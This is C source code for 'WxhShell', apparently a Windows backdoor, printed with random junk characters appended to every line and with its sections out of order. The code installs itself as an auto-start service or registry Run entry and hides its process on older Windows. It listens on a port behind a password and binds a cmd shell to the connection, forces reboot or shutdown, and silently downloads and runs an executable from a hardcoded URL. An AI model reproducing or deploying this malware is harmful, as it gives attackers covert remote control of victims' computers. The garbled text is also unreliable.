    } ag3T[}L z  
  // 关机 PgVM>_nHk  
  case 'd': { ar6Z?v$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3LEN~ N}  
    if(Boot(SHUTDOWN)) DU;]Q:r{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8} U/fQ~  
    else { u", [ulP  
    closesocket(wsh); KmMt:^9  
    ExitThread(0); 8J)x>6  
    } O". #B  
    break; Z I8p(e  
    } ~sM334sQ  
  // 获取shell zNB G;\ W  
  case 's': { giI9-C  
    CmdShell(wsh); &=f%(,+  
    closesocket(wsh); 2+|[e_  
    ExitThread(0); 6ds&n#n  
    break; V482V#BP  
  } jildiT[s  
  // 退出 [9w8oNg0  
  case 'x': { l!`m}$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c0tv!PSw  
    CloseIt(wsh); uz%rWN`{  
    break; &)rmv  
    } 3iY`kf  
  // 离开 c^m}ep\F5L  
  case 'q': { /ZAEvdO*P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); " I:j a7  
    closesocket(wsh); '06[@Cw  
    WSACleanup(); ,\Cy'TSz  
    exit(1); 6n>+cX>E  
    break; &ed.%:  
        } P*\.dAi  
  } }APf^Ry  
  } f9; M"Pd  
$[IuEdc/  
  // 提示信息 _v_ak4m>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +|^rz#X  
} P}cGWfj  
  } ^G5 _d"Gr  
[~$9n_O94  
  return; 42Z2Mjtk  
} J.~$^-&!  
N8:vn0ww  
// shell模块句柄 RFqbwPX  
int CmdShell(SOCKET sock) U#YM)8;Iz  
{ ni9/7  
STARTUPINFO si; U*)pUJ{&t  
ZeroMemory(&si,sizeof(si)); N'TL &]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ng?+X>mP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zsaz#z|xW  
PROCESS_INFORMATION ProcessInfo; VNF@)!l  
char cmdline[]="cmd"; uZi]$/ic  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )bqO}_B  
  return 0; Dk/;`sXV  
} 7 v#sr<  
BsR xD9r  
// 自身启动模式 'r3I/qg*m  
int StartFromService(void) zxXm9zrLo  
{ "`16-g97  
typedef struct \  VJ3  
{ )~rN{W<s`H  
  DWORD ExitStatus; GBN^ *I  
  DWORD PebBaseAddress; ~fEgrF d  
  DWORD AffinityMask; c}lUP(Ss  
  DWORD BasePriority; TN(1oJ:  
  ULONG UniqueProcessId; W,}C*8{+  
  ULONG InheritedFromUniqueProcessId; wQDKv'zU1  
}   PROCESS_BASIC_INFORMATION; 1)H+iN|im/  
{i3]3V"Xp  
PROCNTQSIP NtQueryInformationProcess; `5Q0U%`W  
/z`LB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zuXJf+]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UP^{'eh  
}~yhkt5K  
  HANDLE             hProcess; _z~|*7@  
  PROCESS_BASIC_INFORMATION pbi; A@+pvC&  
rD fUTfv|Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~gmj /PQ0  
  if(NULL == hInst ) return 0; :,% vAI  
<t&0[l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )y_MI r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YrFB~z.V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b v~"_)C  
P;{f+I|`  
  if (!NtQueryInformationProcess) return 0; )mS Aog<  
gm\P`~+o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >`SIB; &>j  
  if(!hProcess) return 0; "I}3*s9Q-  
{+!m]-s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *CMe:a  
m o nqaSF  
  CloseHandle(hProcess); 0DV .1  
5_9mA4gs@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^,qi` Tk  
if(hProcess==NULL) return 0; =Z2Cg{z  
ZXh6Se4o  
HMODULE hMod; FY@ErA7~  
char procName[255]; UW_fn  
unsigned long cbNeeded; V)=!pT  
*xI0hFJIM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GMyzQ]@}  
n3 -5`Jti  
  CloseHandle(hProcess); p<: bP w  
QJ\ o"c  
if(strstr(procName,"services")) return 1; // 以服务启动 mbK$_HvU  
?I6!m~  
  return 0; // 注册表启动 \ym3YwP4/:  
} &;DK^ta*P  
$i;%n1VBg  
// 主模块 1 \:5ow&a  
int StartWxhshell(LPSTR lpCmdLine) R<I)}<g(A3  
{ bk44 qL;8  
  SOCKET wsl; JmjqA Dex  
BOOL val=TRUE; :q/%uca9  
  int port=0; K!;Z#$iw[  
  struct sockaddr_in door; UOC>H%r~M?  
[W;iR_7T5  
  if(wscfg.ws_autoins) Install(); tN&4t xB  
pX `BDYg.  
port=atoi(lpCmdLine); q'fZA;  
slaYr`u  
if(port<=0) port=wscfg.ws_port; ,4M7:=gf  
Nr8#/H2f  
  WSADATA data; ^}fc]ovV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CB]#`|f  
Q}C)az  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :c)N"EJlI2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fuq ;4UcbL  
  door.sin_family = AF_INET; V(3^ev/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >Z r f}H  
  door.sin_port = htons(port); +twl`Z3n  
QH7"' u6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wVX]"o  
closesocket(wsl); WdI9))J2S  
return 1; yyB;'4Af  
} \"Jgs.  
G<:_O-cPSv  
  if(listen(wsl,2) == INVALID_SOCKET) { GCm(3%{V%(  
closesocket(wsl); 5+Fr/C  
return 1; H3CG'?{ _  
} @)k/t>r(  
  Wxhshell(wsl); |mvY=t %  
  WSACleanup(); KcKdhqdN-  
/enlkZx=8  
return 0; UEHJ? }  
&y_Ya%Z3*e  
} X?whyD)vE@  
2t 7':X  
// 以NT服务方式启动 XT+V> H I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AQ+MjS,  
{ ynY(  
DWORD   status = 0; Vi1l^ Za  
  DWORD   specificError = 0xfffffff; ?i'N 9 /(  
$r+ _Y/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4:wVT;?a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v_^>*Vm*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U1nObA  
  serviceStatus.dwWin32ExitCode     = 0; &GYnGrw?@  
  serviceStatus.dwServiceSpecificExitCode = 0; %x{jmZ$}  
  serviceStatus.dwCheckPoint       = 0; o_ng{SL  
  serviceStatus.dwWaitHint       = 0; 6)=`&>9  
-@bOFClE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -4wr)zjfW  
  if (hServiceStatusHandle==0) return; lidVe]>  
FJ-X~^  
status = GetLastError(); ./5LV)_`  
  if (status!=NO_ERROR) hNU$a?eVpR  
{ D]tI's1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z:eB9R#2y  
    serviceStatus.dwCheckPoint       = 0; %vn"tp  
    serviceStatus.dwWaitHint       = 0; HE!"3S2S&+  
    serviceStatus.dwWin32ExitCode     = status; R|D%1@i]  
    serviceStatus.dwServiceSpecificExitCode = specificError; (:er~Y}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lC.Q61J@  
    return; dbga >j  
  } BN7]u5\7  
<8)cr0~zy>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rp^fY_  
  serviceStatus.dwCheckPoint       = 0; V_\9t8  
  serviceStatus.dwWaitHint       = 0; POXd,ON9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xQUskjv/  
} A4{14Y;?  
) KvGJo)("  
// 处理NT服务事件,比如:启动、停止 d!57`bVOd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &ci;0P#Q  
{ m3#rU%Wj  
switch(fdwControl) i8w/a  
{ ~cv322N   
case SERVICE_CONTROL_STOP: L`3;9rO  
  serviceStatus.dwWin32ExitCode = 0; !(gMr1}w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NJ^Bv`  
  serviceStatus.dwCheckPoint   = 0; _w}l,   
  serviceStatus.dwWaitHint     = 0; WU$l@:Yo  
  { v_|k:l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h;[<4zw  
  } 1u8 k}  
  return; g{6FpuA|0  
case SERVICE_CONTROL_PAUSE: 5 6JxHQu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8&Md=ZvK`  
  break;  LA]UIM@  
case SERVICE_CONTROL_CONTINUE: 6L<Y   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jWL%*dJrN  
  break; ]Z IreI  
case SERVICE_CONTROL_INTERROGATE: +7 \"^D  
  break;  L}=DC =E  
}; I|x? K>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $sxRRe m{?  
} f/95}6M  
&M>o  
// 标准应用程序主函数 vc%=V^)N7U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gp+aUK~o  
{ b^:frjaE3  
^]5^p9Jt"e  
// 获取操作系统版本 k3+LP7|*  
OsIsNt=GetOsVer(); 0gRm LX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3ncN) E/@  
;e)`C v  
  // 从命令行安装 ;RK;kdZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); &j}:8Tst  
t i&!_  
  // 下载执行文件 "T@9#7Obu  
if(wscfg.ws_downexe) { 9^+E$V1@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K+\2cf?bU  
  WinExec(wscfg.ws_filenam,SW_HIDE); dL]wu! wE  
} CzDV^Iv;Q{  
;&dMtYb  
if(!OsIsNt) { ~_SRcM{  
// 如果时win9x,隐藏进程并且设置为注册表启动 yGY:EvH^?  
HideProc(); V]Rt[l]  
StartWxhshell(lpCmdLine); |b4f3n  
} Skg}/Ek  
else ~KQiNkA\|l  
  if(StartFromService()) S3UJ)@ E  
  // 以服务方式启动 u!-v1O^[  
  StartServiceCtrlDispatcher(DispatchTable); 4L bll%[9  
else [*J?TNk  
  // 普通方式启动 :85QwN]\  
  StartWxhshell(lpCmdLine); TKp2C5bX  
'':MhRb  
return 0; !bIE%cq  
} B[IWgvB(e  
!]3kFWs  
a9u2Wlz  
 RnSll-  
=========================================== bkuJN%  
KV)if'  
eI9#JM|2  
bcgXpP  
-TMg9M4  
9m.MGJbQ_f  
" Dz&,g+>$J  
"TI>_~  
#include <stdio.h> %'uei4   
#include <string.h> /|8rVYSs  
#include <windows.h> a/</P |UG  
#include <winsock2.h> | |L^yI~_d  
#include <winsvc.h> &5[B\yv  
#include <urlmon.h> Wo(m:q(Om  
Eunmc  
#pragma comment (lib, "Ws2_32.lib") lc3N i<3v  
#pragma comment (lib, "urlmon.lib") a!EW[|[Q  
Y2IMHN tH  
#define MAX_USER   100 // 最大客户端连接数 d}y")q|F  
#define BUF_SOCK   200 // sock buffer nYR#Q|  
#define KEY_BUFF   255 // 输入 buffer } eF r,bJ  
u#y#(1 =  
#define REBOOT     0   // 重启 ,D'm#Fti  
#define SHUTDOWN   1   // 关机 .D;6 r4S  
9}_'  
#define DEF_PORT   5000 // 监听端口 i;atYltEJ2  
&e78xtA{  
#define REG_LEN     16   // 注册表键长度 X~cdM1z?  
#define SVC_LEN     80   // NT服务名长度 cm0$v8  
@+0dgkJ  
// 从dll定义API - ~4na{6x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  =W&m{F96  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~{$c|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M0g=gmau  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *+XiBho  
+/bD9x1H  
// wxhshell配置信息 qRR%aJ/  
struct WSCFG { dBwoAq`'  
  int ws_port;         // 监听端口 +v~x_E5FP  
  char ws_passstr[REG_LEN]; // 口令 \H9:%Tlp~4  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]9PG"<^k  
  char ws_regname[REG_LEN]; // 注册表键名 mE=Ur  
  char ws_svcname[REG_LEN]; // 服务名 ?6]B6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !"o\H(siT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XS #u/!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'N^*,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7n?yf_ je  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z- t&AH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t3!OqM  
{\vVzy,t7  
}; :T|9;2  
d"@ /{O^1  
// default Wxhshell configuration Nw*F1*v`  
struct WSCFG wscfg={DEF_PORT, 3yw$<lm  
    "xuhuanlingzhe", CiGXyhh  
    1, MsBm0r`a  
    "Wxhshell", IM ncl=1  
    "Wxhshell", r{B28'f[  
            "WxhShell Service", 2;j<{'  
    "Wrsky Windows CmdShell Service", 9 *uK]/c  
    "Please Input Your Password: ", w3 kkam"  
  1, vaJl}^T  
  "http://www.wrsky.com/wxhshell.exe", mP=[h |a$r  
  "Wxhshell.exe" xjSzQ| k-  
    }; 4"H *hKp  
rd<43  
// 消息定义模块 [V>s]c<4`o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; & Zn`2%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o='A1P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fL# r@TB-s  
char *msg_ws_ext="\n\rExit."; YQ.ci4.f  
char *msg_ws_end="\n\rQuit."; e(N},s:_  
char *msg_ws_boot="\n\rReboot..."; BU4IN$d0Po  
char *msg_ws_poff="\n\rShutdown..."; "GR*d{  
char *msg_ws_down="\n\rSave to "; qpMcVJL  
"*t0 t  
char *msg_ws_err="\n\rErr!"; Mk0x#-F  
char *msg_ws_ok="\n\rOK!";  '6})L  
7{(UiQbf  
char ExeFile[MAX_PATH]; KK5;6b  
int nUser = 0; -8Hc M\b  
HANDLE handles[MAX_USER]; z9g ++]rkJ  
int OsIsNt; U[|5:qWs  
3 tCTPZy  
SERVICE_STATUS       serviceStatus; tjwn FqI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q"B8l[  
6^t#sEff]  
// 函数声明 6%h%h: e  
int Install(void); O_7}H)  
int Uninstall(void); Vfga%K%l F  
int DownloadFile(char *sURL, SOCKET wsh); $8i`h}AM  
int Boot(int flag); R<Mc+{*>  
void HideProc(void); %8 D>aS U  
int GetOsVer(void); g1|Py t{  
int Wxhshell(SOCKET wsl); t0jE\6r  
void TalkWithClient(void *cs); IG# wY  
int CmdShell(SOCKET sock); t$%<eF@w  
int StartFromService(void); }^0'IAXi  
int StartWxhshell(LPSTR lpCmdLine); %#rtNDi  
7K "1^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |!9xL*A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bS2g4]$'po  
{lH'T1^m  
// 数据结构和表定义  ?O+.  
SERVICE_TABLE_ENTRY DispatchTable[] = "?F[]8F.b  
{ V8):!  
{wscfg.ws_svcname, NTServiceMain}, 2J{vfF  
{NULL, NULL} )c&ya|h  
}; OdZ/\_Z  
l"(PP3  
// 自我安装 b r Iz8]  
int Install(void) Q,JH/X  
{ U3z23LgA  
  char svExeFile[MAX_PATH]; ;4ybkOD  
  HKEY key; bL`\l!qQx;  
  strcpy(svExeFile,ExeFile); Exqz$'(W9  
7%EIn9P  
// 如果是win9x系统,修改注册表设为自启动 ZzNHEV  
if(!OsIsNt) { M9A1 8d|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zn 0y`9!n?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q-V8=.  
  RegCloseKey(key); _AFje  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = g &  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xT_"` @  
  RegCloseKey(key); |" WL   
  return 0; S9P({iZK  
    } vD9\i*\2  
  } >qB`0 3>  
} ULxQyY;32  
else { =DfI^$Lr:  
zN!yOlp5  
// 如果是NT以上系统,安装为系统服务 ,hu@V\SKv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HZ%V>88  
if (schSCManager!=0) wkGr}  
{ Iy49o!  
  SC_HANDLE schService = CreateService i8k} B o  
  ( fMFkA(Of^  
  schSCManager, &"JC8  
  wscfg.ws_svcname, ^7/v[J<<  
  wscfg.ws_svcdisp, S+~;PmN9qL  
  SERVICE_ALL_ACCESS, x%r$/=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~dEo^vJD  
  SERVICE_AUTO_START, -k7b# +T  
  SERVICE_ERROR_NORMAL, i_Q1\_m!  
  svExeFile, Ycm.qud ?  
  NULL, ~EY)c~ H  
  NULL, 3'kKbrk [  
  NULL, 7Z`4Kdh .  
  NULL, T@.+bD  
  NULL &Pm@+ML*x  
  ); P$Vh{]4i{  
  if (schService!=0) WN{8gL&y  
  { ^8~TsK~  
  CloseServiceHandle(schService); 8 <;.[l  
  CloseServiceHandle(schSCManager); DvQV_D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J.:  
  strcat(svExeFile,wscfg.ws_svcname); lqv}~MC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C(v'7H{4cW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #K:iB*  
  RegCloseKey(key); 1="]'!2Is  
  return 0; fqbeO9x  
    } VnSO>O  
  } 9) ]`le  
  CloseServiceHandle(schSCManager); eA(\#+)X `  
} Ncbe{}<md  
} O0z-jZ,])  
NR(rr.  
return 1; ]}].A q  
} @xBb|/I  
#&IrCq+  
// 自我卸载 Qx E%C  
int Uninstall(void) ty~Sf-Pri  
{ d!:/n  
  HKEY key; w^&UMX}  
g]HxPq+O  
if(!OsIsNt) { ]kmAN65c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /<LjD  
  RegDeleteValue(key,wscfg.ws_regname); p gLhxc:  
  RegCloseKey(key); N?{Zrff2"O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y'8T=PqY[t  
  RegDeleteValue(key,wscfg.ws_regname); \G v\&_  
  RegCloseKey(key); -u%o);B  
  return 0; nt|n[-}  
  } Q+K]:c  
} uc!6?+0h  
} ,B/TqPP  
else { ~h8k4eM  
,Aq, f$5V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c/bT5TIEWs  
if (schSCManager!=0) 6Zw$F3 <  
{ u;^H=7R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [= E=H*j  
  if (schService!=0) vFJ4`Gjw(  
  { HI D6h!  
  if(DeleteService(schService)!=0) { UV;I6]$}A7  
  CloseServiceHandle(schService); l2Py2ZI-b  
  CloseServiceHandle(schSCManager); b_{+OqI  
  return 0; ` k I}p  
  } |AvsT{2  
  CloseServiceHandle(schService); TTj] _R{n  
  } Q_,!(N  
  CloseServiceHandle(schSCManager); -M]/Xv]  
} !lEV^SQJs  
} }.|a0N 5  
ZU B]qzmK  
return 1; ?UflK  
} !$iwU3~<  
Z%.L d2Q{  
// 从指定url下载文件 x?{l<mc  
int DownloadFile(char *sURL, SOCKET wsh) lxXF8c>U  
{ 5C`Vno~v  
  HRESULT hr; ',FVT4OMw  
char seps[]= "/"; QrmGrRH  
char *token; lp$,`Uz`  
char *file; 6tVp%@  
char myURL[MAX_PATH]; e jk?If 07  
char myFILE[MAX_PATH]; DPnrzV )  
0[ n;ZL~  
strcpy(myURL,sURL); *yI( (G/  
  token=strtok(myURL,seps); _%rkN0-(a  
  while(token!=NULL) E?K(MT&@  
  { t x1TtWo  
    file=token; _pS)bx w  
  token=strtok(NULL,seps); gEVoY,}/-U  
  } +BI%. A`2  
 5 YIk  
GetCurrentDirectory(MAX_PATH,myFILE); <Vyl*a{%  
strcat(myFILE, "\\");  /*S6/#  
strcat(myFILE, file); p0Ij 4   
  send(wsh,myFILE,strlen(myFILE),0); '#lEUlB  
send(wsh,"...",3,0); q,Nqv[va  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ezJ^ r,D|  
  if(hr==S_OK) wjID*s[  
return 0; [e.`M{(TB  
else 2+(SR.oGq  
return 1; fEK%)Z:0  
=1B;<aZH!  
} $Ovq}Rexc  
:Z;kMrU  
// 系统电源模块 "NSY=)fV  
int Boot(int flag) 0R+<^6^l)  
{ I%{D5.du  
  HANDLE hToken; g ?% ]()E  
  TOKEN_PRIVILEGES tkp; EJ:2]!O  
czo*_q%  
  if(OsIsNt) { k lr1"q7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^?0WE   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y3'K+?4  
    tkp.PrivilegeCount = 1; A:sP%c;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BXl Y V"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3XjY  
if(flag==REBOOT) { 4NFvX4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]ao%9:P;  
  return 0; n)]u|qq  
} ;x{J45^  
else { )hA)`hL F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uhmSp+%  
  return 0; Dm;aTe  
} 8`b_,(\N  
  } _ =O;Lz$x  
  else { :bp8S@  
if(flag==REBOOT) { bb`DyUy ^+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QN~9O^  
  return 0; Z=s]@r  
} #k)J);&ZA  
else { 8g_GXtn(z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /Q9iO&Vu  
  return 0; @2A&eLw LH  
} g9gyx/'*  
} Bd13p_V"6  
j=b-Y  
return 1; #5IfF~* i  
} ?B4X&xf.D  
Fmrl*tr  
// win9x进程隐藏模块 :?gk =JH:  
void HideProc(void) Q;p% VQ  
{ CM%;r5  
pe`&zI_`?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^w}BXVn  
  if ( hKernel != NULL ) UbwD2>  
  { 0_map z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H 4W4# \M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n<7R6)j6  
    FreeLibrary(hKernel); QW@`4W0F  
  } *3Ci4\Ew  
@z.HyQ_v  
return;  A,|lDsvM  
} V)r6bb{^  
%?:eURQ  
// 获取操作系统版本 lLeN`{?  
int GetOsVer(void) 5l(NX  
{ dr7ry"5Zq  
  OSVERSIONINFO winfo; :j#Fq d[DF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .[:*bo3  
  GetVersionEx(&winfo); FHu+dZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _Nq7_iT0  
  return 1; %MUwd@,  
  else <~!R|5sK  
  return 0; !Ry4 w|w  
} :E9@9>3S  
k<NEauQ  
// 客户端句柄模块 Z0%Qy+%  
int Wxhshell(SOCKET wsl) 7(= 09z  
{ K~>ESMZ5  
  SOCKET wsh; 3/((7O[  
  struct sockaddr_in client; < G:G/  
  DWORD myID; ob.=QQQs  
w!^{Q'/,Q  
  while(nUser<MAX_USER) PP)-g0^@  
{ W[tX%B  
  int nSize=sizeof(client); ::rKW *?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -}*YfwK  
  if(wsh==INVALID_SOCKET) return 1; Wd_KZ}lX  
lAPvphO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L9)nRV8  
if(handles[nUser]==0) vb Mv8Nk  
  closesocket(wsh); ];o[Yn'>o  
else ~~'UQnUN4  
  nUser++; zc#aQ.  
  } :s OsG&y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U ORoj )$I  
[P23.`G~J  
  return 0; UDz#?ZWnd  
} C_DXg-a2lu  
:CAbGs:56  
// 关闭 socket ep2#a#&'  
void CloseIt(SOCKET wsh) aC2\C=ru_  
{ N-Nq*  
closesocket(wsh); V ZArdXTP  
nUser--; f'<MDLl  
ExitThread(0); <U() *0  
} xT$9M"  
^8yhx-mgb  
// 客户端请求句柄 ;4 ON  
void TalkWithClient(void *cs) gNG_,+=!  
{ ]1 OZY@  
r|tTDKGQ  
  SOCKET wsh=(SOCKET)cs; S2 0L@e"U  
  char pwd[SVC_LEN]; tZ ]/?+1G  
  char cmd[KEY_BUFF]; JH;\wfr D  
char chr[1]; 6-<>P E2  
int i,j; DVq 5[ntG  
.3.oan*i  
  while (nUser < MAX_USER) { 2,X~a;+  
eD481r  
if(wscfg.ws_passstr) { <X_I`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3o=K?eOdg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;:l\_b'Z}  
  //ZeroMemory(pwd,KEY_BUFF); >~sAa+Oxi  
      i=0; IA XoEBlMs  
  while(i<SVC_LEN) { 80M"`6  
6U`yf&D  
  // 设置超时 *h>KeIB;  
  fd_set FdRead; ]D;X"2I2'b  
  struct timeval TimeOut; P+~{q.|._c  
  FD_ZERO(&FdRead); vA*Ud;%R  
  FD_SET(wsh,&FdRead); ~)JNevLZ  
  TimeOut.tv_sec=8; O+o1R24JI  
  TimeOut.tv_usec=0; SGREpOlJ+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sp=6%3fZ]m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [l2ds:  
gz?]]-H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?p8(Uc#73  
  pwd=chr[0]; 67/&.d!  
  if(chr[0]==0xd || chr[0]==0xa) { Iu`xe  
  pwd=0;  S=o1k  
  break; ni@N/Z?!pA  
  } }0P5~]S<5A  
  i++; i<*{Z~B  
    } xmEmdOoD  
v/E_A3Ay&  
  // 如果是非法用户,关闭 socket ;9r`P_r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2%'iTXF  
} Xk_xTzJ  
%!G]H   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VE<&0d<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m\88Etl@  
o#-K,|-  
while(1) { /^kZ}}9baU  
\WnI&nu  
  ZeroMemory(cmd,KEY_BUFF); J<<0U;  
<= xmJx-V  
      // 自动支持客户端 telnet标准   +|N!(H  
  j=0; ,[lS)`G  
  while(j<KEY_BUFF) { ix<sorR H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8()L}@y  
  cmd[j]=chr[0]; hDp -,ag{  
  if(chr[0]==0xa || chr[0]==0xd) { JwNG`M Gc  
  cmd[j]=0; K>2mm!{  
  break; yE(>R(^  
  } a+TlZE>8  
  j++; pFLR!/J  
    } 9~^%v zM  
`43`*=  
  // 下载文件 8Q&hhmOnz  
  if(strstr(cmd,"http://")) { wr/Z)e =^3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ][|)qQ%V  
  if(DownloadFile(cmd,wsh)) 06 kjJ4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `[<j5(T  
